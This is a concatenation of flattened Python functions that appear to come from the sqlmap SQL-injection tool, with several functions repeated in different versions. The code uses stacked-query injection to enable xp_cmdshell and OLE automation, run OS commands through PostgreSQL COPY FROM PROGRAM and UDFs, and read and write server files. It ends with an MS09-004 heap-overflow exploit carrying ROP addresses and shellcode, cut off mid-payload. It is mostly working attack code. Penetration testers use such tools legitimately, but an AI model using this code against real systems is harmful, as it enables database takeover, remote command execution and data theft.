def xpCmdshellEvalCmd(self, cmd, first=None, last=None): if conf.direct: output = self.xpCmdshellExecCmd(cmd) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: if line == "NULL": new_output += "\n" else: new_output += "%s\n" % line.strip("\r") output = new_output else: inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: output = inject.getValue(query, resumeValue=False, blind=False) else: output = [] count = inject.getValue("SELECT COUNT(*) FROM %s" % self.cmdTblName, resumeValue=False, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): for index in getLimitRange(count): query = agent.limitQuery(index, query, self.tblField) output.append(inject.getValue(query, inband=False, error=False, resumeValue=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isListLike(output) and len(output) > 1: if not output[0].strip(): output = output[1:] elif not output[-1].strip(): output = output[:-1] return output
def checkDbmsOs(self, detailed=False): if kb.os: return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) # Windows executables should always have ' Visual C++' or ' mingw' # patterns within the banner osWindows = ( " Visual C++", "mingw" ) for osPattern in osWindows: query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%" + osPattern + "%')>0" query = agent.forgeCaseStatement(query) if inject.getValue(query, charsetType=1, suppressOutput=True) == "1": kb.os = "Windows" break if kb.os is None: kb.os = "Linux" infoMsg = "the back-end DBMS operating system is %s" % kb.os logger.info(infoMsg) self.cleanup(onlyFileTbl=True)
def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) # Windows executables should always have ' Visual C++' or ' mingw' # patterns within the banner osWindows = (" Visual C++", "mingw") for osPattern in osWindows: query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%" + osPattern + "%')>0" if inject.checkBooleanExpression(query): Backend.setOs(OS.WINDOWS) break if Backend.getOs() is None: Backend.setOs(OS.LINUX) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() logger.info(infoMsg) self.cleanup(onlyFileTbl=True)
def __xpCmdshellConfigure(self, mode): if kb.dbmsVersion[0] in ( "2005", "2008" ): cmd = self.__xpCmdshellConfigure2005(mode) else: cmd = self.__xpCmdshellConfigure2000(mode) inject.goStacked(cmd)
def __xpCmdshellCreate(self): cmd = "" if Backend.isVersionWithin(("2005", "2008")): logger.debug("activating sp_OACreate") cmd += "EXEC master..sp_configure 'show advanced options', 1; " cmd += "RECONFIGURE WITH OVERRIDE; " cmd += "EXEC master..sp_configure 'ole automation procedures', 1; " cmd += "RECONFIGURE WITH OVERRIDE; " inject.goStacked(cmd) self.__randStr = randomStr(lowercase=True) cmd += "DECLARE @%s nvarchar(999); " % self.__randStr cmd += "set @%s='" % self.__randStr cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int " cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT " cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 " cmd += "EXEC sp_OADestroy @ID'; " cmd += "EXEC master..sp_executesql @%s;" % self.__randStr if Backend.isVersionWithin(("2005", "2008")): cmd += " RECONFIGURE WITH OVERRIDE;" inject.goStacked(cmd)
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" logger.debug(debugMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longblob") logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", False) debugMsg = "forging SQL statements to write the hexadecimal " debugMsg += "encoded file to the support table" logger.debug(debugMsg) sqlQueries = self.fileToSqlQueries(fcEncodedList) logger.debug("inserting the hexadecimal encoded file to the support table") for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) return self.askCheckWrittenFile(wFile, dFile, forceCheck)
def __xpCmdshellConfigure(self, mode): if Backend.isVersionWithin(("2005", "2008")): cmd = self.__xpCmdshellConfigure2005(mode) else: cmd = self.__xpCmdshellConfigure2000(mode) inject.goStacked(agent.runAsDBMSUser(cmd))
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): if udfName is None: udfName = "sys_eval" if conf.direct: output = self.udfExecCmd(cmd, udfName=udfName) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: new_output += line.replace("\r", "\n") output = new_output else: cmd = unescaper.escape(self.udfForgeCmd(cmd)) inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) output = unArrayizeValue( inject.getValue( "SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False, ) ) inject.goStacked("DELETE FROM %s" % self.cmdTblName) return output
def _xpCmdshellCreate(self): cmd = "" if not Backend.isVersionWithin(("2000", )): logger.debug("activating sp_OACreate") cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") inject.goStacked(agent.runAsDBMSUser(cmd)) self._randStr = randomStr(lowercase=True) self.xpCmdshellStr = "master..new_xp_cmdshell" cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr) if not Backend.isVersionWithin(("2000", )): cmd += ";RECONFIGURE WITH OVERRIDE" inject.goStacked(agent.runAsDBMSUser(cmd))
def sqlQuery(self, query): output = None sqlType = None query = query.rstrip(';') try: for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith(sqlStatement): sqlType = sqlTitle break if not any(_ in query.upper() for _ in ("OPENROWSET", "INTO")) and (not sqlType or "SELECT" in sqlType): infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query) logger.info(infoMsg) output = inject.getValue(query, fromUser=True) return output elif not isStackingAvailable() and not conf.direct: warnMsg = "execution of non-query SQL statements is only " warnMsg += "available when stacked queries are supported" logger.warn(warnMsg) return None else: if sqlType: debugMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query) else: debugMsg = "executing unknown SQL type query: '%s'" % query logger.debug(debugMsg) inject.goStacked(query) debugMsg = "done" logger.debug(debugMsg) output = NULL except SqlmapNoneDataException, ex: logger.warn(ex)
def createSupportTbl(self, tblName, tblField, tblType): inject.goStacked("DROP TABLE %s" % tblName, silent=True) if Backend.isDbms(DBMS.MSSQL) and tblName == self.cmdTblName: inject.goStacked("CREATE TABLE %s(id INT PRIMARY KEY IDENTITY, %s %s)" % (tblName, tblField, tblType)) else: inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) debugMsg = "loading the content of hexadecimal encoded file " debugMsg += "'%s' into support table" % rFile logger.debug(debugMsg) inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2) if length is None or not length.isdigit() or not len(length) or length in ( "0", "1" ): errMsg = "unable to retrieve the content of the " errMsg += "file '%s'" % rFile raise sqlmapNoneDataException, errMsg length = int(length) sustrLen = 1024 if length > sustrLen: result = [] for i in range(1, length, sustrLen): chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3) result.append(chunk) else: result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3) return result
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" logger.debug(debugMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longblob") logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(localFile, "hex", False) debugMsg = "forging SQL statements to write the hexadecimal " debugMsg += "encoded file to the support table" logger.debug(debugMsg) sqlQueries = self.fileToSqlQueries(fcEncodedList) logger.debug("inserting the hexadecimal encoded file to the support table") inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230) for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True) return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
def copyExecCmd(self, cmd): output = None if isStackingAvailable(): # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % ( self.cmdTblName, cmd.replace("'", "''")) inject.goStacked(self._forgedCmd) query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) output = inject.getValue(query, resumeValue=False) if isListLike(output): output = os.linesep.join(output) self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName inject.goStacked(self._cleanupCmd) return output
def _xpCmdshellCreate(self): cmd = "" if Backend.isVersionWithin(("2005", "2008")): logger.debug("activating sp_OACreate") cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") inject.goStacked(agent.runAsDBMSUser(cmd)) self._randStr = randomStr(lowercase=True) self._xpCmdshellNew = "xp_%s" % randomStr(lowercase=True) self.xpCmdshellStr = "master..%s" % self._xpCmdshellNew cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr, XP_CMDSHELL_NEW=self._xpCmdshellNew) if Backend.isVersionWithin(("2005", "2008")): cmd += ";RECONFIGURE WITH OVERRIDE" inject.goStacked(agent.runAsDBMSUser(cmd))
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): if udfName is None: udfName = "sys_eval" if conf.direct: output = self.udfExecCmd(cmd, udfName=udfName) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: new_output += line.replace("\r", "\n") output = new_output else: cmd = unescaper.escape(self.udfForgeCmd(cmd)) inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) output = unArrayizeValue(inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) return output
def _initRunAs(self): if not conf.dbmsCred: return if not conf.direct and not isStackingAvailable(): errMsg = "stacked queries are not supported hence sqlmap cannot " errMsg += "execute statements as another user. The execution " errMsg += "will continue and the DBMS credentials provided " errMsg += "will simply be ignored" logger.error(errMsg) return if Backend.isDbms(DBMS.MSSQL): msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function " msg += "is disabled by default. This function is needed to execute " msg += "statements as another DBMS user since you provided the " msg += "option '--dbms-creds'. If you are DBA, you can enable it. " msg += "Do you want to enable it? [Y/n] " if readInput(msg, default='Y', boolean=True): expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1") inject.goStacked(expression)
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): if udfName is None: cmd = "'%s'" % cmd udfName = "sys_eval" cmd = unescaper.unescape(cmd) inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isinstance(output, (list, tuple)): output = output[0] if output and isinstance(output, (list, tuple)): output = output[0] return output
def xpCmdshellEvalCmd(self, cmd, first=None, last=None): output = None if conf.direct: output = self.xpCmdshellExecCmd(cmd) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: if line == "NULL": new_output += "\n" else: new_output += "%s\n" % line.strip("\r") output = new_output else: inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) # When user provides DBMS credentials (with --dbms-cred), the # command standard output is redirected to a temporary file # The file needs to be copied to the support table, # 'sqlmapoutput' if conf.dbmsCred: inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))) self.delRemoteFile(self.tmpFile) query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: output = inject.getValue(query, resumeValue=False, blind=False, time=False) if (output is None) or len(output)==0 or output[0] is None: output = [] count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): for index in getLimitRange(count): query = agent.limitQuery(index, query, self.tblField) output.append(inject.getValue(query, union=False, error=False, resumeValue=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isListLike(output) and len(output) > 1: _ = "" lines = [line for line in flattenValue(output) if line is not None] for i in xrange(len(lines)): line = lines[i] or "" if line is None or i in (0, len(lines) - 1) and not line.strip(): continue _ += "%s\n" % line output = _.rstrip('\n') return output
def timeTest(): infoMsg = "testing time based blind sql injection on parameter " infoMsg += "'%s' with AND condition syntax" % kb.injParameter logger.info(infoMsg) timeQuery = queries[kb.dbms].timedelay % SECONDS query = agent.prefixQuery(" AND %s" % timeQuery) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) start = time.time() _ = Request.queryPage(payload) duration = int(time.time() - start) if duration >= SECONDS: infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter infoMsg += "based blind sql injection with AND condition syntax" logger.info(infoMsg) kb.timeTest = payload else: warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter warnMsg += "based blind sql injection with AND condition syntax" logger.warn(warnMsg) infoMsg = "testing time based blind sql injection on parameter " infoMsg += "'%s' with stacked query syntax" % kb.injParameter logger.info(infoMsg) start = time.time() payload, _ = inject.goStacked(timeQuery) duration = int(time.time() - start) if duration >= SECONDS: infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter infoMsg += "based blind sql injection with stacked query syntax" logger.info(infoMsg) kb.timeTest = payload else: warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter warnMsg += "based blind sql injection with stacked query syntax" logger.warn(warnMsg) kb.timeTest = False return kb.timeTest
def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): funcName = randomStr() max_bytes = 1024 * 1024 debugMsg = "creating JLP procedure '%s'" % funcName logger.debug(debugMsg) addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % ( funcName, max_bytes) addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL " addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'" inject.goStacked(addFuncQuery) fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedStr = fcEncodedList[0][2:] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "as the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" logger.warn(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) # Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % ( funcName, remoteFile, fcEncodedStr, max_bytes) inject.goStacked(invokeQuery) logger.debug("cleaning up" % funcName) delQuery = "DELETE PROCEDURE %s" % funcName inject.goStacked(delQuery) message = "the local file '%s' has been written on the back-end DBMS" % localFile message += "file system ('%s')" % remoteFile logger.info(message)
def _checkFileLength(self, localFile, remoteFile, fileRead=False): if Backend.isDbms(DBMS.MYSQL): lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") inject.goStacked( "INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) try: localFileSize = os.path.getsize(localFile) except OSError: warnMsg = "file '%s' is missing" % localFile logger.warn(warnMsg) localFileSize = 0 if fileRead and Backend.isDbms(DBMS.PGSQL): logger.info( "length of read file '%s' cannot be checked on PostgreSQL" % remoteFile) sameFile = True else: logger.debug("checking the length of the remote file '%s'" % remoteFile) remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) sameFile = None if isNumPosStrValue(remoteFileSize): remoteFileSize = int(remoteFileSize) localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) sameFile = False if localFileSize == remoteFileSize: sameFile = True infoMsg = "the local file '%s' and the remote file " % localFile infoMsg += "'%s' have the same size (%d B)" % ( remoteFile, localFileSize) elif remoteFileSize > localFileSize: infoMsg = "the remote file '%s' is larger (%d B) than " % ( remoteFile, remoteFileSize) infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize) else: infoMsg = "the remote file '%s' is smaller (%d B) than " % ( remoteFile, remoteFileSize) infoMsg += "file '%s' (%d B)" % (localFile, localFileSize) logger.info(infoMsg) else: sameFile = False warnMsg = "it looks like the file has not been written (usually " warnMsg += "occurs if the DBMS process user has no write " warnMsg += "privileges in the destination path)" logger.warn(warnMsg) return sameFile
def stackedReadFile(self, remoteFile): if not kb.bruteMode: infoMsg = "fetching file: '%s'" % remoteFile logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile)) debugMsg = "loading the content of hexadecimal encoded file " debugMsg += "'%s' into support table" % remoteFile logger.debug(debugMsg) inject.goStacked( "LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " warnMsg += "file '%s'" % remoteFile if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): if not kb.bruteMode: warnMsg += ", going to fall-back to simpler UNION technique" logger.warn(warnMsg) result = self.nonStackedReadFile(remoteFile) else: raise SqlmapNoneDataException(warnMsg) else: length = int(length) chunkSize = 1024 if length > chunkSize: result = [] for i in xrange(1, length, chunkSize): chunk = inject.getValue( "SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) return result
def xpCmdshellEvalCmd(self, cmd, first=None, last=None): if conf.direct: output = self.xpCmdshellExecCmd(cmd) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: if line == "NULL": new_output += "\n" else: new_output += "%s\n" % line.strip("\r") output = new_output else: inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) # When user provides DBMS credentials (with --dbms-cred), the # command standard output is redirected to a temporary file # The file needs to be copied to the support table, # 'sqlmapoutput' if conf.dbmsCred: inject.goStacked( "BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))) self.delRemoteFile(self.tmpFile) query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) if conf.direct or any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)): output = inject.getValue(query, resumeValue=False, blind=False) else: output = [] count = inject.getValue("SELECT COUNT(*) FROM %s" % self.cmdTblName, resumeValue=False, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): for index in getLimitRange(count): query = agent.limitQuery(index, query, self.tblField) output.append( inject.getValue(query, inband=False, error=False, resumeValue=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isListLike(output) and len(output) > 1: if not (output[0] or "").strip(): output = output[1:] elif not (output[-1] or "").strip(): output = output[:-1] output = "\n".join(line for line in filter(None, output)) return output
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): wFileSize = os.path.getsize(wFile) content = open(wFile, "rb").read() self.oid = randomInt() self.page = 0 self.createSupportTbl(self.fileTblName, self.tblField, "text") debugMsg = "create a new OID for a large object, it implicitly " debugMsg += "adds an entry in the large objects system table" logger.debug(debugMsg) # References: # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_create(%d)" % self.oid) inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid) for offset in xrange(0, wFileSize, LOBLKSIZE): fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False) sqlQueries = self.fileToSqlQueries(fcEncodedList) for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) inject.goStacked("DELETE FROM %s" % self.fileTblName) self.page += 1 debugMsg = "exporting the OID %s file content to " % fileType debugMsg += "file '%s'" % dFile logger.debug(debugMsg) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) inject.goStacked("SELECT lo_unlink(%d)" % self.oid) return written
def spHeapOverflow(self): """ References: * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx * http://support.microsoft.com/kb/959420 """ returns = { # 2003 Service Pack 0 "2003-0": (""), # 2003 Service Pack 1 "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"), # 2003 Service Pack 2 updated at 12/2008 # "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), # 2003 Service Pack 2 updated at 05/2009 "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"), # 2003 Service Pack 2 updated at 09/2009 # "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), } addrs = None for versionSp, data in returns.items(): version, sp = versionSp.split("-") sp = int(sp) if Backend.getOsVersion() == version and Backend.getOsServicePack( ) == sp: addrs = data break if not addrs: errMsg = "sqlmap can not exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack()) raise SqlmapUnsupportedFeatureException(errMsg) shellcodeChar = "" hexStr = binascii.hexlify(self.shellcodeString[:-1]) for hexPair in xrange(0, len(hexStr), 2): shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair + 2] shellcodeChar = shellcodeChar[:-1] self.spExploit = """DECLARE @buf NVARCHAR(4000), @val NVARCHAR(4), @counter INT SET @buf = ' DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' SET @val = CHAR(0x41) SET @counter = 0 WHILE @counter < 3320 BEGIN SET @counter = @counter + 1 IF @counter = 411 BEGIN /* pointer to call [ecx+8] */ SET @buf = @buf + %s /* push ebp, pop esp, ret 4 */ SET @buf = @buf + %s /* push ecx, pop esp, pop ebp, retn 8 */ SET @buf = @buf + %s /* Garbage */ SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51) /* retn 1c */ SET @buf = @buf + %s /* retn 1c */ SET @buf = @buf + %s /* anti DEP */ SET @buf = @buf + %s /* jmp esp */ SET @buf = @buf + %s /* jmp esp */ SET @buf = @buf + %s SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + 